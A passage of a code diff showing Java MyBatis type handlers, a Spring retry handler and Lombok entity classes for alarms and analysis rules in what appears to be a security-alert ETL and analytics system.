System.out.println("前一个5分钟周期: " +
|
||||
window2[0].format(formatter) + " - " +
|
||||
window2[1].format(formatter));
|
||||
System.out.println();
|
||||
|
||||
// 测试3: 整点情况 16:00:00
|
||||
LocalDateTime testTime3 = LocalDateTime.of(2025, 11, 18, 16, 0, 15);
|
||||
LocalDateTime[] window3 = getPrevious5MinuteWindow(testTime3);
|
||||
System.out.println("当前时间: " + testTime3.format(formatter));
|
||||
System.out.println("前一个5分钟周期: " +
|
||||
window3[0].format(formatter) + " - " +
|
||||
window3[1].format(formatter));
|
||||
System.out.println();
|
||||
|
||||
// 测试4: 使用当前系统时间
|
||||
LocalDateTime[] currentWindow = getPrevious5MinuteWindow();
|
||||
System.out.println("当前系统时间的前一个5分钟周期: " +
|
||||
currentWindow[0].format(formatter) + " - " +
|
||||
currentWindow[1].format(formatter));
|
||||
}
|
||||
}
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
package com.Modules.etl.handler;
|
||||
|
||||
|
||||
|
||||
import org.apache.ibatis.type.BaseTypeHandler;
|
||||
import org.apache.ibatis.type.JdbcType;
|
||||
import org.apache.ibatis.type.MappedJdbcTypes;
|
||||
import org.apache.ibatis.type.MappedTypes;
|
||||
import java.sql.*;
|
||||
|
||||
@MappedTypes(byte[][].class)
|
||||
@MappedJdbcTypes(JdbcType.ARRAY)
|
||||
public class ArrayByteTypeHandler extends BaseTypeHandler<byte[][]> {
|
||||
|
||||
@Override
|
||||
public void setNonNullParameter(PreparedStatement ps, int i, byte[][] parameter, JdbcType jdbcType) throws SQLException {
|
||||
Array array = ps.getConnection().createArrayOf("bytea", parameter);
|
||||
ps.setArray(i, array);
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[][] getNullableResult(ResultSet rs, String columnName) throws SQLException {
|
||||
return getArray(rs.getArray(columnName));
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[][] getNullableResult(ResultSet rs, int columnIndex) throws SQLException {
|
||||
return getArray(rs.getArray(columnIndex));
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[][] getNullableResult(CallableStatement cs, int columnIndex) throws SQLException {
|
||||
return getArray(cs.getArray(columnIndex));
|
||||
}
|
||||
|
||||
private byte[][] getArray(Array array) throws SQLException {
|
||||
if (array != null) {
|
||||
Object[] objArray = (Object[]) array.getArray();
|
||||
byte[][] result = new byte[objArray.length][];
|
||||
for (int i = 0; i < objArray.length; i++) {
|
||||
result[i] = (byte[]) objArray[i];
|
||||
}
|
||||
return result;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
package com.Modules.etl.handler;
|
||||
|
||||
|
||||
import org.apache.ibatis.type.BaseTypeHandler;
|
||||
import org.apache.ibatis.type.JdbcType;
|
||||
import org.apache.ibatis.type.MappedJdbcTypes;
|
||||
import org.apache.ibatis.type.MappedTypes;
|
||||
import java.sql.*;
|
||||
import java.util.Arrays;
|
||||
|
||||
@MappedTypes(Integer[].class)
|
||||
@MappedJdbcTypes(JdbcType.ARRAY)
|
||||
public class ArrayIntegerTypeHandler extends BaseTypeHandler<Integer[]> {
|
||||
|
||||
@Override
|
||||
public void setNonNullParameter(PreparedStatement ps, int i, Integer[] parameter, JdbcType jdbcType) throws SQLException {
|
||||
Array array = ps.getConnection().createArrayOf("integer", parameter);
|
||||
ps.setArray(i, array);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Integer[] getNullableResult(ResultSet rs, String columnName) throws SQLException {
|
||||
return getArray(rs.getArray(columnName));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Integer[] getNullableResult(ResultSet rs, int columnIndex) throws SQLException {
|
||||
return getArray(rs.getArray(columnIndex));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Integer[] getNullableResult(CallableStatement cs, int columnIndex) throws SQLException {
|
||||
return getArray(cs.getArray(columnIndex));
|
||||
}
|
||||
|
||||
private Integer[] getArray(Array array) throws SQLException {
|
||||
if (array != null) {
|
||||
Object[] objArray = (Object[]) array.getArray();
|
||||
return Arrays.copyOf(objArray, objArray.length, Integer[].class);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
package com.Modules.etl.handler;
|
||||
|
||||
|
||||
import org.apache.ibatis.type.BaseTypeHandler;
|
||||
import org.apache.ibatis.type.JdbcType;
|
||||
import org.apache.ibatis.type.MappedJdbcTypes;
|
||||
import org.apache.ibatis.type.MappedTypes;
|
||||
import java.sql.*;
|
||||
import java.util.Arrays;
|
||||
|
||||
@MappedTypes(String[].class)
|
||||
@MappedJdbcTypes(JdbcType.ARRAY)
|
||||
public class ArrayStringTypeHandler extends BaseTypeHandler<String[]> {
|
||||
|
||||
@Override
|
||||
public void setNonNullParameter(PreparedStatement ps, int i, String[] parameter, JdbcType jdbcType) throws SQLException {
|
||||
Array array = ps.getConnection().createArrayOf("text", parameter);
|
||||
ps.setArray(i, array);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String[] getNullableResult(ResultSet rs, String columnName) throws SQLException {
|
||||
return getArray(rs.getArray(columnName));
|
||||
}
|
||||
|
||||
@Override
|
||||
public String[] getNullableResult(ResultSet rs, int columnIndex) throws SQLException {
|
||||
return getArray(rs.getArray(columnIndex));
|
||||
}
|
||||
|
||||
@Override
|
||||
public String[] getNullableResult(CallableStatement cs, int columnIndex) throws SQLException {
|
||||
return getArray(cs.getArray(columnIndex));
|
||||
}
|
||||
|
||||
private String[] getArray(Array array) throws SQLException {
|
||||
if (array != null) {
|
||||
Object[] objArray = (Object[]) array.getArray();
|
||||
return Arrays.copyOf(objArray, objArray.length, String[].class);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
+36
@@ -0,0 +1,36 @@
|
||||
package com.Modules.etl.handler;
|
||||
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.retry.annotation.Backoff;
|
||||
import org.springframework.retry.annotation.Recover;
|
||||
import org.springframework.retry.annotation.Retryable;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
@Slf4j
|
||||
@Component
|
||||
public class ETLRetryHandler {
|
||||
|
||||
/**
|
||||
* 带重试机制的ETL任务执行
|
||||
*/
|
||||
@Retryable(value = Exception.class, maxAttempts = 3, backoff = @Backoff(delay = 5000))
|
||||
public void executeWithRetry(Runnable etlTask) {
|
||||
try {
|
||||
etlTask.run();
|
||||
} catch (Exception e) {
|
||||
log.warn("ETL任务执行失败,准备重试", e);
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 重试失败后的恢复处理
|
||||
*/
|
||||
@Recover
|
||||
public void recover(Exception e, Runnable etlTask) {
|
||||
log.error("ETL任务重试多次后仍然失败", e);
|
||||
// 这里可以发送告警通知、记录失败状态等
|
||||
throw new RuntimeException("ETL任务最终执行失败", e);
|
||||
}
|
||||
}
|
||||
+67
@@ -0,0 +1,67 @@
|
||||
package com.Modules.etl.handler;
|
||||
|
||||
|
||||
import org.apache.ibatis.type.BaseTypeHandler;
|
||||
import org.apache.ibatis.type.JdbcType;
|
||||
import org.apache.ibatis.type.MappedTypes;
|
||||
|
||||
import java.sql.*;
|
||||
import java.time.Instant;
|
||||
import java.time.LocalDateTime;
|
||||
import java.time.ZoneId;
|
||||
import java.time.ZoneOffset;
|
||||
|
||||
@MappedTypes(LocalDateTime.class)
|
||||
public class TimestamptzTypeHandler extends BaseTypeHandler<LocalDateTime> {
|
||||
|
||||
@Override
|
||||
public void setNonNullParameter(PreparedStatement ps, int i,
|
||||
LocalDateTime parameter, JdbcType jdbcType)
|
||||
throws SQLException {
|
||||
if (parameter == null) {
|
||||
ps.setTimestamp(i, null);
|
||||
} else {
|
||||
// 转换为Timestamp
|
||||
ps.setTimestamp(i, Timestamp.valueOf(parameter));
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public LocalDateTime getNullableResult(ResultSet rs, String columnName)
|
||||
throws SQLException {
|
||||
Timestamp timestamp = rs.getTimestamp(columnName);
|
||||
return convertToLocalDateTime(timestamp);
|
||||
}
|
||||
|
||||
@Override
|
||||
public LocalDateTime getNullableResult(ResultSet rs, int columnIndex)
|
||||
throws SQLException {
|
||||
Timestamp timestamp = rs.getTimestamp(columnIndex);
|
||||
return convertToLocalDateTime(timestamp);
|
||||
}
|
||||
|
||||
@Override
|
||||
public LocalDateTime getNullableResult(CallableStatement cs, int columnIndex)
|
||||
throws SQLException {
|
||||
Timestamp timestamp = cs.getTimestamp(columnIndex);
|
||||
return convertToLocalDateTime(timestamp);
|
||||
}
|
||||
|
||||
private LocalDateTime convertToLocalDateTime(Timestamp timestamp) {
|
||||
if (timestamp == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
// 方法1: 直接从Timestamp转换
|
||||
return timestamp.toLocalDateTime();
|
||||
|
||||
// 方法2: 通过Instant转换(处理时区)
|
||||
// Instant instant = timestamp.toInstant();
|
||||
// return LocalDateTime.ofInstant(instant, ZoneId.systemDefault());
|
||||
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Failed to convert TIMESTAMPTZ to LocalDateTime", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package com.common.entity;
|
||||
|
||||
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
@Data
|
||||
@Builder
|
||||
public class Alarm {
|
||||
private String id;
|
||||
private LocalDateTime createdAt;
|
||||
private String alarmName;
|
||||
private String alarmLevel;
|
||||
private String alarmType;
|
||||
private String alarmMajorType;
|
||||
private String alarmMinorType;
|
||||
private Integer alarmAreaId;
|
||||
private String[] attackIp;
|
||||
private String[] victimIp;
|
||||
private String[] victimWebUrl;
|
||||
private Integer[] attackChainPhase;
|
||||
private Integer[] deviceId;
|
||||
private String[] tag;
|
||||
private String comment;
|
||||
private String[] originLogIds;
|
||||
private String queryId;
|
||||
private Integer judgedState;
|
||||
private Integer disposedState;
|
||||
private String dispositionAdvice;
|
||||
private Integer attackResult;
|
||||
private Integer fall;
|
||||
private byte[] payload;
|
||||
private Integer[] operateEvent;
|
||||
private Integer[] attackPort;
|
||||
private Integer[] victimPort;
|
||||
private String attackMethod;
|
||||
private String businessExt;
|
||||
private LocalDateTime logStartAt;
|
||||
private LocalDateTime logEndAt;
|
||||
private String httpStatus;
|
||||
private String dnsInfo;
|
||||
private String accountInfo;
|
||||
private String attackerInfo;
|
||||
private String victimInfo;
|
||||
private String suspiciousAction;
|
||||
private String vulnInfo;
|
||||
private String weakPwd;
|
||||
private String complianceBaseline;
|
||||
private String fileInfo;
|
||||
private String fileTags;
|
||||
private String endpointInfo;
|
||||
private String endpointProtection;
|
||||
private String originInfo;
|
||||
private String protocolInfo;
|
||||
private String emailInfo;
|
||||
private String sensitiveData;
|
||||
private Integer hitIntelligence;
|
||||
private String windowTime;
|
||||
private LocalDateTime updatedAt;
|
||||
private String engineType;
|
||||
private String attackIpPic;
|
||||
private String victimIpPic;
|
||||
private LocalDateTime operationAt;
|
||||
private String attackDirection;
|
||||
private LocalDateTime etlTime;
|
||||
private Integer logCount;
|
||||
private Integer isAssetHit;
|
||||
private Boolean focused;
|
||||
private Boolean baseFocused;
|
||||
private Boolean isUpdated;
|
||||
private int alarmSource;
|
||||
private String[] httpReqHeader;
|
||||
private String[] httpReqBody;
|
||||
private String[] httpRespHeader;
|
||||
private String[] httpRespBody;
|
||||
|
||||
}
|
||||
+78
@@ -0,0 +1,78 @@
|
||||
package com.common.entity;
|
||||
|
||||
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
@Data
|
||||
@Builder
|
||||
public class AlarmVisit {
|
||||
private String id;
|
||||
private LocalDateTime createdAt;
|
||||
private String alarmName;
|
||||
private String alarmLevel;
|
||||
private String alarmType;
|
||||
private String alarmMajorType;
|
||||
private String alarmMinorType;
|
||||
private Integer alarmAreaId;
|
||||
private String[] attackIp;
|
||||
private String[] victimIp;
|
||||
private String[] victimWebUrl;
|
||||
private Integer[] attackChainPhase;
|
||||
private Integer[] deviceId;
|
||||
private String[] tag;
|
||||
private String comment;
|
||||
private String[] originLogIds;
|
||||
private String queryId;
|
||||
private Integer judgedState;
|
||||
private Integer disposedState;
|
||||
private String dispositionAdvice;
|
||||
private Integer attackResult;
|
||||
private Integer fall;
|
||||
private byte[] payload;
|
||||
private Integer[] operateEvent;
|
||||
private Integer[] attackPort;
|
||||
private Integer[] victimPort;
|
||||
private String attackMethod;
|
||||
private String businessExt;
|
||||
private LocalDateTime logStartAt;
|
||||
private LocalDateTime logEndAt;
|
||||
private String httpStatus;
|
||||
private String dnsInfo;
|
||||
private String accountInfo;
|
||||
private String attackerInfo;
|
||||
private String victimInfo;
|
||||
private String suspiciousAction;
|
||||
private String vulnInfo;
|
||||
private String weakPwd;
|
||||
private String complianceBaseline;
|
||||
private String fileInfo;
|
||||
private String fileTags;
|
||||
private String endpointInfo;
|
||||
private String endpointProtection;
|
||||
private String originInfo;
|
||||
private String protocolInfo;
|
||||
private String emailInfo;
|
||||
private String sensitiveData;
|
||||
private Integer hitIntelligence;
|
||||
private String windowTime;
|
||||
private LocalDateTime updatedAt;
|
||||
private String engineType;
|
||||
private String attackIpPic;
|
||||
private String victimIpPic;
|
||||
private LocalDateTime operationAt;
|
||||
private String attackDirection;
|
||||
private LocalDateTime etlTime;
|
||||
private Integer logCount;
|
||||
private Integer isAssetHit;
|
||||
private Boolean focused;
|
||||
private Boolean baseFocused;
|
||||
private Boolean isUpdated;
|
||||
private int alarmSource;
|
||||
private String[] httpReqHeader;
|
||||
private String[] httpReqBody;
|
||||
private String[] httpRespHeader;
|
||||
private String[] httpRespBody;
|
||||
}
|
||||
+144
@@ -0,0 +1,144 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
import java.util.UUID;
|
||||
|
||||
/**
|
||||
* 分析规则实体类
|
||||
*/
|
||||
@Data
|
||||
@Builder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class AnalysisAnalysisRule {
|
||||
|
||||
/**
|
||||
* 规则唯一标识(UUID)
|
||||
*/
|
||||
private String ruleId;
|
||||
|
||||
/**
|
||||
* 创建用户账号
|
||||
*/
|
||||
private String createUser;
|
||||
|
||||
/**
|
||||
* 规则名称(界面显示用)
|
||||
*/
|
||||
private String ruleName;
|
||||
|
||||
/**
|
||||
* 分析方式:高级版/基础版
|
||||
*/
|
||||
private String analysisMethod;
|
||||
|
||||
/**
|
||||
* 运行模式:realtime-实时流式/offline-离线批处理
|
||||
*/
|
||||
private String runMode;
|
||||
|
||||
/**
|
||||
* 规则输出类型:risk_alarm-风险告警/statistics-统计报表
|
||||
*/
|
||||
private String ruleOutput;
|
||||
|
||||
/**
|
||||
* 所属组织机构编码
|
||||
*/
|
||||
private String organization;
|
||||
|
||||
/**
|
||||
* 任务状态:running-正在执行/stopped-已停止/waiting-等待中
|
||||
*/
|
||||
private String taskStatus;
|
||||
|
||||
/**
|
||||
* 创建部门ID
|
||||
*/
|
||||
private Long createDept;
|
||||
|
||||
/**
|
||||
* 删除标志:0-未删除 1-已删除
|
||||
*/
|
||||
private String delFlag;
|
||||
|
||||
/**
|
||||
* 记录创建时间(带时区)
|
||||
*/
|
||||
private LocalDateTime createTime;
|
||||
|
||||
/**
|
||||
* 记录更新时间(带时区)
|
||||
*/
|
||||
private LocalDateTime updateTime;
|
||||
|
||||
/**
|
||||
* 创建人ID
|
||||
*/
|
||||
private Long createBy;
|
||||
|
||||
/**
|
||||
* 更新人ID
|
||||
*/
|
||||
private Long updateBy;
|
||||
|
||||
/**
|
||||
* 规则备注说明文本
|
||||
*/
|
||||
private String remark;
|
||||
|
||||
/**
|
||||
* 多租户隔离ID
|
||||
*/
|
||||
private String tenantId;
|
||||
|
||||
/**
|
||||
* 规则详细描述
|
||||
*/
|
||||
private String ruleDesc;
|
||||
|
||||
/**
|
||||
* 规则分类编码(预留扩展用)
|
||||
*/
|
||||
private Integer ruleType;
|
||||
|
||||
/**
|
||||
* 规则启用状态(0-禁用/1-启用等)
|
||||
*/
|
||||
private Integer ruleStatus;
|
||||
|
||||
/**
|
||||
* 规则配置内容(JSON或结构化文本)
|
||||
*/
|
||||
private String ruleContent;
|
||||
|
||||
/**
|
||||
* 规则计算表达式(如SQL片段或自定义脚本)
|
||||
*/
|
||||
private String ruleExpression;
|
||||
|
||||
/**
|
||||
* 规则执行优先级(数值越大优先级越高)
|
||||
*/
|
||||
private Long priority;
|
||||
|
||||
/**
|
||||
* 规则标签,多个标签用逗号分隔
|
||||
*/
|
||||
private String tags;
|
||||
|
||||
/**
|
||||
* 规则版本号,用于版本管理
|
||||
*/
|
||||
private Integer version;
|
||||
|
||||
/**
|
||||
* 分组ID
|
||||
*/
|
||||
private Integer subsetId;
|
||||
}
|
||||
+144
@@ -0,0 +1,144 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
/**
|
||||
* 分析字段配置实体类
|
||||
*/
|
||||
@Data
|
||||
@Builder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class AnalysisField {
|
||||
|
||||
/**
|
||||
* 主键ID,自增序列
|
||||
*/
|
||||
private Integer id;
|
||||
|
||||
/**
|
||||
* 关联的规则配置UUID
|
||||
*/
|
||||
private String ruleId;
|
||||
|
||||
/**
|
||||
* 字段类型(如维度/指标/计算字段等)
|
||||
*/
|
||||
private String type;
|
||||
|
||||
/**
|
||||
* 数据源名称,如数据库连接名或数据流标识
|
||||
*/
|
||||
private String dataSource;
|
||||
|
||||
/**
|
||||
* 数据库名称
|
||||
*/
|
||||
private String database;
|
||||
|
||||
/**
|
||||
* 表名
|
||||
*/
|
||||
private String tableName;
|
||||
|
||||
/**
|
||||
* 表别名,用于SQL语句中的表引用
|
||||
*/
|
||||
private String tableAlias;
|
||||
|
||||
/**
|
||||
* 字段名
|
||||
*/
|
||||
private String columnName;
|
||||
|
||||
/**
|
||||
* 字段描述
|
||||
*/
|
||||
private String columnDesc;
|
||||
|
||||
/**
|
||||
* 字段数据类型(如int/varchar/decimal等)
|
||||
*/
|
||||
private String dataType;
|
||||
|
||||
/**
|
||||
* 计算函数名(如SUM/COUNT/自定义函数,NULL表示原始字段)
|
||||
*/
|
||||
private String fn;
|
||||
|
||||
/**
|
||||
* 函数参数列表,JSON数组格式(即使无参数也保留空数组)
|
||||
*/
|
||||
private String arguments;
|
||||
|
||||
/**
|
||||
* 字段显示占位符(用于前端展示的默认文本)
|
||||
*/
|
||||
private String placeholder;
|
||||
|
||||
/**
|
||||
* 基础类型编码(预留分类扩展用)
|
||||
*/
|
||||
private Integer baseType;
|
||||
|
||||
/**
|
||||
* 字段分类ID
|
||||
*/
|
||||
private Integer categoryId;
|
||||
|
||||
/**
|
||||
* 创建部门ID
|
||||
*/
|
||||
private Long createDept;
|
||||
|
||||
/**
|
||||
* 删除标志(0-未删除/1-已删除)
|
||||
*/
|
||||
private String delFlag;
|
||||
|
||||
/**
|
||||
* 记录创建时间
|
||||
*/
|
||||
private LocalDateTime createTime;
|
||||
|
||||
/**
|
||||
* 记录更新时间
|
||||
*/
|
||||
private LocalDateTime updateTime;
|
||||
|
||||
/**
|
||||
* 创建人ID
|
||||
*/
|
||||
private Long createBy;
|
||||
|
||||
/**
|
||||
* 更新人ID
|
||||
*/
|
||||
private Long updateBy;
|
||||
|
||||
/**
|
||||
* 备注说明
|
||||
*/
|
||||
private String remark;
|
||||
|
||||
/**
|
||||
* 租户ID,默认000000表示系统级配置
|
||||
*/
|
||||
private String tenantId;
|
||||
|
||||
/**
|
||||
* 告警字段名(别名)
|
||||
*/
|
||||
private String alarmColumnName;
|
||||
|
||||
/**
|
||||
* 告警字段描述
|
||||
*/
|
||||
private String alarmColumnDesc;
|
||||
}
|
||||
|
||||
+147
@@ -0,0 +1,147 @@
|
||||
package com.common.entity;
|
||||
|
||||
import com.baomidou.mybatisplus.annotation.*;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
/**
|
||||
* 分析过滤条件实体类
|
||||
*/
|
||||
@Data
|
||||
@Builder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@TableName("analysis_filter")
|
||||
public class AnalysisFilter {
|
||||
|
||||
/**
|
||||
* 主键ID
|
||||
*/
|
||||
@TableId(value = "id", type = IdType.AUTO)
|
||||
private Integer id;
|
||||
|
||||
/**
|
||||
* 规则ID
|
||||
*/
|
||||
private String ruleId;
|
||||
|
||||
/**
|
||||
* 数据源
|
||||
*/
|
||||
private String dataSource;
|
||||
|
||||
/**
|
||||
* 数据库名
|
||||
*/
|
||||
private String database;
|
||||
|
||||
/**
|
||||
* 表名
|
||||
*/
|
||||
private String tableName;
|
||||
|
||||
/**
|
||||
* 表别名
|
||||
*/
|
||||
private String tableAlias;
|
||||
|
||||
/**
|
||||
* 列名
|
||||
*/
|
||||
private String columnName;
|
||||
|
||||
/**
|
||||
* 列描述
|
||||
*/
|
||||
private String columnDesc;
|
||||
|
||||
/**
|
||||
* 数据类型
|
||||
*/
|
||||
private String dataType;
|
||||
|
||||
/**
|
||||
* 函数名
|
||||
*/
|
||||
private String fn;
|
||||
|
||||
/**
|
||||
* 函数参数
|
||||
*/
|
||||
private Object arguments;
|
||||
|
||||
/**
|
||||
* 操作符
|
||||
*/
|
||||
private String operator;
|
||||
|
||||
/**
|
||||
* 筛选值
|
||||
*/
|
||||
private Object value;
|
||||
|
||||
/**
|
||||
* 基础类型
|
||||
*/
|
||||
private Integer baseType;
|
||||
|
||||
/**
|
||||
* 分类ID
|
||||
*/
|
||||
private Integer categoryId;
|
||||
|
||||
/**
|
||||
* 创建部门ID
|
||||
*/
|
||||
private Long createDept;
|
||||
|
||||
/**
|
||||
* 删除标志:0-正常 1-删除
|
||||
*/
|
||||
@TableLogic
|
||||
private String delFlag;
|
||||
|
||||
/**
|
||||
* 创建时间
|
||||
*/
|
||||
private LocalDateTime createTime;
|
||||
|
||||
/**
|
||||
* 更新时间
|
||||
*/
|
||||
private LocalDateTime updateTime;
|
||||
|
||||
/**
|
||||
* 创建人ID
|
||||
*/
|
||||
private Long createBy;
|
||||
|
||||
/**
|
||||
* 更新人ID
|
||||
*/
|
||||
private Long updateBy;
|
||||
|
||||
/**
|
||||
* 备注信息
|
||||
*/
|
||||
private String remark;
|
||||
|
||||
/**
|
||||
* 租户ID
|
||||
*/
|
||||
private String tenantId;
|
||||
|
||||
/**
|
||||
* 关联条件逻辑表ID
|
||||
*/
|
||||
private Integer condId;
|
||||
|
||||
/**
|
||||
* 表达式执行顺序号
|
||||
*/
|
||||
private Integer seqNum;
|
||||
}
|
||||
+81
@@ -0,0 +1,81 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
/**
|
||||
* 分组规则配置实体类
|
||||
*/
|
||||
@Data
|
||||
@Builder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class AnalysisGroupBy {
|
||||
|
||||
/**
|
||||
* 主键ID
|
||||
*/
|
||||
private Long id;
|
||||
|
||||
/**
|
||||
* 规则ID
|
||||
*/
|
||||
private String ruleId;
|
||||
|
||||
/**
|
||||
* 分组类型:1-标准分组 2-窗口分组
|
||||
*/
|
||||
private Integer groupType;
|
||||
|
||||
/**
|
||||
* 窗口类型:tumble/hop/session
|
||||
*/
|
||||
private String windowType;
|
||||
|
||||
/**
|
||||
* 窗口配置(关联AnalysisGroupByWindow)
|
||||
*/
|
||||
private AnalysisGroupByWindow window;
|
||||
|
||||
/**
|
||||
* 创建部门
|
||||
*/
|
||||
private Long createDept;
|
||||
|
||||
/**
|
||||
* 删除标志:0-未删除,1-已删除
|
||||
*/
|
||||
private String delFlag;
|
||||
|
||||
/**
|
||||
* 创建时间
|
||||
*/
|
||||
private String createTime;
|
||||
|
||||
/**
|
||||
* 更新时间
|
||||
*/
|
||||
private String updateTime;
|
||||
|
||||
/**
|
||||
* 创建人
|
||||
*/
|
||||
private Long createBy;
|
||||
|
||||
/**
|
||||
* 更新人
|
||||
*/
|
||||
private Long updateBy;
|
||||
|
||||
/**
|
||||
* 备注
|
||||
*/
|
||||
private String remark;
|
||||
|
||||
/**
|
||||
* 租户ID
|
||||
*/
|
||||
private String tenantId;
|
||||
}
|
||||
+133
@@ -0,0 +1,133 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
/**
|
||||
* 分析分组字段配置实体类
|
||||
*/
|
||||
@Data
|
||||
@Builder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class AnalysisGroupByColumn {
|
||||
|
||||
/**
|
||||
* 主键ID:自增唯一标识符
|
||||
*/
|
||||
private Integer id;
|
||||
|
||||
/**
|
||||
* 分组ID:关联分析分组的外键
|
||||
*/
|
||||
private Integer groupById;
|
||||
|
||||
/**
|
||||
* 数据源名称:数据来源系统标识
|
||||
*/
|
||||
private String dataSource;
|
||||
|
||||
/**
|
||||
* 数据库名称:字段所在的数据库
|
||||
*/
|
||||
private String database;
|
||||
|
||||
/**
|
||||
* 表名:字段所在的物理表名
|
||||
*/
|
||||
private String tableName;
|
||||
|
||||
/**
|
||||
* 表别名:查询时使用的表别名
|
||||
*/
|
||||
private String tableAlias;
|
||||
|
||||
/**
|
||||
* 字段名:物理字段名称
|
||||
*/
|
||||
private String columnName;
|
||||
|
||||
/**
|
||||
* 字段描述:业务层面的字段说明
|
||||
*/
|
||||
private String columnDesc;
|
||||
|
||||
/**
|
||||
* 数据类型:字段的数据类型(如varchar、int4)
|
||||
*/
|
||||
private String dataType;
|
||||
|
||||
/**
|
||||
* 基础类型:字段的业务基础类型编码
|
||||
*/
|
||||
private Integer baseType;
|
||||
|
||||
/**
|
||||
* 分类ID:字段所属的业务分类ID
|
||||
*/
|
||||
private Integer categoryId;
|
||||
|
||||
/**
|
||||
* 创建部门:创建记录的部门ID
|
||||
*/
|
||||
private Long createDept;
|
||||
|
||||
/**
|
||||
* 删除标志:0-未删除,1-已删除
|
||||
*/
|
||||
private String delFlag;
|
||||
|
||||
/**
|
||||
* 创建时间:记录创建时间戳
|
||||
*/
|
||||
private LocalDateTime createTime;
|
||||
|
||||
/**
|
||||
* 更新时间:记录最后更新时间戳
|
||||
*/
|
||||
private LocalDateTime updateTime;
|
||||
|
||||
/**
|
||||
* 创建人:记录创建者ID
|
||||
*/
|
||||
private Long createBy;
|
||||
|
||||
/**
|
||||
* 更新人:记录最后更新者ID
|
||||
*/
|
||||
private Long updateBy;
|
||||
|
||||
/**
|
||||
* 备注:扩展说明信息
|
||||
*/
|
||||
private String remark;
|
||||
|
||||
/**
|
||||
* 租户ID:多租户环境下的租户标识
|
||||
*/
|
||||
private String tenantId;
|
||||
|
||||
/**
|
||||
* 规则ID:关联的业务规则UUID
|
||||
*/
|
||||
private String ruleId;
|
||||
|
||||
/**
|
||||
* 用户组ID:关联的权限用户组ID
|
||||
*/
|
||||
private Long groupId;
|
||||
|
||||
/**
|
||||
* 字段唯一ID:跨表唯一的字段标识符
|
||||
*/
|
||||
private Long fieldId;
|
||||
|
||||
/**
|
||||
* 排序号:字段展示顺序
|
||||
*/
|
||||
private Integer sort;
|
||||
}
|
||||
+138
@@ -0,0 +1,138 @@
|
||||
package com.common.entity;
|
||||
|
||||
import com.baomidou.mybatisplus.annotation.*;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
/**
|
||||
* 分析分组聚合条件配置实体类
|
||||
* 存储GROUP BY后的HAVING筛选条件定义
|
||||
*/
|
||||
@Data
|
||||
@Builder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@TableName("analysis_group_by_having")
|
||||
public class AnalysisGroupByHaving {
|
||||
|
||||
/**
|
||||
* 主键ID
|
||||
*/
|
||||
@TableId(value = "id", type = IdType.AUTO)
|
||||
private Integer id;
|
||||
|
||||
/**
|
||||
* 分组ID
|
||||
*/
|
||||
private Integer groupById;
|
||||
|
||||
/**
|
||||
* 数据源名称
|
||||
*/
|
||||
private String dataSource;
|
||||
|
||||
/**
|
||||
* 数据库名称
|
||||
*/
|
||||
private String database;
|
||||
|
||||
/**
|
||||
* 表名
|
||||
*/
|
||||
private String tableName;
|
||||
|
||||
/**
|
||||
* 表别名
|
||||
*/
|
||||
private String tableAlias;
|
||||
|
||||
/**
|
||||
* 字段名
|
||||
*/
|
||||
private String columnName;
|
||||
|
||||
/**
|
||||
* 字段描述
|
||||
*/
|
||||
private String columnDesc;
|
||||
|
||||
/**
|
||||
* 字段数据类型
|
||||
*/
|
||||
private String dataType;
|
||||
|
||||
/**
|
||||
* 聚合函数名(如SUM/COUNT/AVG等)
|
||||
*/
